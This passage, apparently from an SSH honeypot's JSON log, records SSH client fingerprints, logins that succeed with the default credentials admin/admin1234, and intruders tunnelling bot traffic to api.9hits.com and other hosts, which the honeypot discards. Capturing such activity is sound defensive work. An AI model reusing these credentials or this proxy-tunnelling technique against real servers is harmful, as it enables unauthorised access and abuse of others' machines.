{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.888582Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:03.463046Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:03.956908Z","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.082944Z","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.474172Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.481073Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Zzc%2BSmJmUTNPaGFKODJVUA%3D%3D8wjIFAXKFc%2BY7PfzWD1sp06ne1p4PYauglT4%2BRSwI8nmYwJmr9x99CbfguEO8DBn1pOeRtC7MQS%2FRH6YXtyHMRB7awkVStDAPXJy5CKDlSHFDmmU0bD8oyLXe9W1RcKbauroXQn4LC5d%2FxHkRbLeUYuz2NrPiYwoXVKkXpb1vA8tUqx92x9zwnMqukud3PIpcOj7XAF5hm78ezZKLN%2B9F%2FSv%2BdFvUqKtRHpKXEM0%2FIZnqOoyX61aY5FUPUQP7%2Bs3vlnCsVSI03G1RnhAQXOdYT8Q50biK3zR0jyq54NXBWSO%2BweUDonmGIySubdl9DtsImA9Y2aFj2izw%2B%2BZQ34LvHZM4Vowkm0j%2FaNBBVlh63qgUtxtoa7S4z5OdZiMSF%2FsJpxmPyPIn2B1JzkcrxjsoTxpipkV2TagZQ7stEAafgGB1ZEuIYtQFV7hWNtWqUSOQp5zkIaSW6uQPyNtCBLsLl4kh3%2Bwg7fcorBGA8J5ryUqW3HdWjv1l8%2FGQL5hs9Qcz9B%2F3H4hBD7rfzfY2LIFzM5QYOIzW0hZSJJ7x9%2BkBQgrZPqunDGML6%2FpdDH0dB1jo5Z4GUWf56OajLj3OCsIeGl3sd%2F2braDQKpWyE3mHwAFyB6MCPnUDyxuEFG8z3mGAS%2BVgiGRB36EN%2Bcrj9O%2BnPn%2FYbkm9uot3fpy16hgxVpjgqqpjDTO3xyMlVLxocvPLtRQ9wB8WtLEc%2BezpU%2BVZYIZI6rFOaWa40HaXIk1EUCb4UNFm5IdBuZcr8ZRiNajS2g1rwSJOFELM%2B8TG%2F%2FvQ9b%2Bj%2FarYetCh5pDGIJZDvuBdqx171XX4yT89kn%2BEaUNjLPmot37BTjFXTyeLMn2Svsk26TAiyFqJ3JA2h0oNbph0ppF5xEQ7CHL2g026NaDXhd4%2B%2B%2Fjl5cWQGgPKDn0WJod5D08B7F0CpKeMJoA5J9SeDd8D7Z1r6UjVOHmiCBKX%2F7P%2BRcZcdegQzPqPSb9dd0X4jRqmcyg%2FSRW4HgWCcft3SZwU7CF9xKJsHiTL%2BTdNS88i%2BrjsIHH4i3EPhZifwgftu3jfGIl6RJJaZkXvPptQsU5LuwXeGeexQNT%2B9up'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Zzc%2BSmJmUTNPaGFKODJVUA%3D%3D8wjIFAXKFc%2BY7PfzWD1sp06ne1p4PYauglT4%2BRSwI8nmYwJmr9x99CbfguEO8DBn1pOeRtC7MQS%2FRH6YXtyHMRB7awkVStDAPXJy5CKDlSHFDmmU0bD8oyLXe9W1RcKbauroXQn4LC5d%2FxHkRbLeUYuz2NrPiYwoXVKkXpb1vA8tUqx92x9zwnMqukud3PIpcOj7XAF5hm78ezZKLN%2B9F%2FSv%2BdFvUqKtRHpKXEM0%2FIZnqOoyX61aY5FUPUQP7%2Bs3vlnCsVSI03G1RnhAQXOdYT8Q50biK3zR0jyq54NXBWSO%2BweUDonmGIySubdl9DtsImA9Y2aFj2izw%2B%2BZQ34LvHZM4Vowkm0j%2FaNBBVlh63qgUtxtoa7S4z5OdZiMSF%2FsJpxmPyPIn2B1JzkcrxjsoTxpipkV2TagZQ7stEAafgGB1ZEuIYtQFV7hWNtWqUSOQp5zkIaSW6uQPyNtCBLsLl4kh3%2Bwg7fcorBGA8J5ryUqW3HdWjv1l8%2FGQL5hs9Qcz9B%2F3H4hBD7rfzfY2LIFzM5QYOIzW0hZSJJ7x9%2BkBQgrZPqunDGML6%2FpdDH0dB1jo5Z4GUWf56OajLj3OCsIeGl3sd%2F2braDQKpWyE3mHwAFyB6MCPnUDyxuEFG8z3mGAS%2BVgiGRB36EN%2Bcrj9O%2BnPn%2FYbkm9uot3fpy16hgxVpjgqqpjDTO3xyMlVLxocvPLtRQ9wB8WtLEc%2BezpU%2BVZYIZI6rFOaWa40HaXIk1EUCb4UNFm5IdBuZcr8ZRiNajS2g1rwSJOFELM%2B8TG%2F%2FvQ9b%2Bj%2FarYetCh5pDGIJZDvuBdqx171XX4yT89kn%2BEaUNjLPmot37BTjFXTyeLMn2Svsk26TAiyFqJ3JA2h0oNbph0ppF5xEQ7CHL2g026NaDXhd4%2B%2B%2Fjl5cWQGgPKDn0WJod5D08B7F0CpKeMJoA5J9SeDd8D7Z1r6UjVOHmiCBKX%2F7P%2BRcZcdegQzPqPSb9dd0X4jRqmcyg%2FSRW4HgWCcft3SZwU7CF9xKJsHiTL%2BTdNS88i%2BrjsIHH4i3EPhZifwgftu3jfGIl6RJJaZkXvPptQsU5LuwXeGeexQNT%2B9up'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.486084Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.499006Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\ \\xbc+\\x11\\x95d\\xb2\\xc4\\xa20\\x12\\xdf)\\x11\\xa9\\x08x\\xae[\\xc8\\x85\\xb6\\x84\\x80o\\xff\\xef\\xee\\xfc\\xda\\xec \\x13+\\x9a\\x89l\\x14\\x81\\x15:zK-\\xea\\x87\\x904\\xcfe\\xb1a\\xe2\\x1dK3\\xd8\\xdc\\x8a\\xf5\\xdd\\x14F\\xfd\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9\\x01\\xf7\\xa5\\xe9\\x18\\xf4g\\x8c5/0Ti\\x08C\\xa2\\x1d\\x8d\\xc2\\xf9-\\x82s\\x80\\xe2$t\\xb9H\\xd0y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\ \\xbc+\\x11\\x95d\\xb2\\xc4\\xa20\\x12\\xdf)\\x11\\xa9\\x08x\\xae[\\xc8\\x85\\xb6\\x84\\x80o\\xff\\xef\\xee\\xfc\\xda\\xec \\x13+\\x9a\\x89l\\x14\\x81\\x15:zK-\\xea\\x87\\x904\\xcfe\\xb1a\\xe2\\x1dK3\\xd8\\xdc\\x8a\\xf5\\xdd\\x14F\\xfd\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9\\x01\\xf7\\xa5\\xe9\\x18\\xf4g\\x8c5/0Ti\\x08C\\xa2\\x1d\\x8d\\xc2\\xf9-\\x82s\\x80\\xe2$t\\xb9H\\xd0y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.512841Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.754954Z","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.990839Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xe3vy\\xa6\\x88z\\xc8VH\\xf4t=\\x06\\xfb\\xe7=L\\x895Y\\xfd|\\xf9\\x18x|\\xdeQ(\\xa0l Y]S\\x1czn!1\\x86\\x18M\\xba\\xe8\\x04\\x95\\xae\\xb0\\xa5|U\\x07\\xdc\\xce\\xad\\xearT\\xf7\\x80\\xd3\\xbc6\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x08\\xda\\x17\\xbe{6\\x91\\xb6#\\x99j\\xe8E\\xd6/\\xca\\x88It\\xa7E\\x12hx\\xa9\\xc3F\\x02\\xed\\x15e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb0\\xe3vy\\xa6\\x88z\\xc8VH\\xf4t=\\x06\\xfb\\xe7=L\\x895Y\\xfd|\\xf9\\x18x|\\xdeQ(\\xa0l Y]S\\x1czn!1\\x86\\x18M\\xba\\xe8\\x04\\x95\\xae\\xb0\\xa5|U\\x07\\xdc\\xce\\xad\\xearT\\xf7\\x80\\xd3\\xbc6\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x08\\xda\\x17\\xbe{6\\x91\\xb6#\\x99j\\xe8E\\xd6/\\xca\\x88It\\xa7E\\x12hx\\xa9\\xc3F\\x02\\xed\\x15e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:04.994550Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:05.107371Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:05.414422Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.216649Z","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.270168Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; TX9 Pro Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 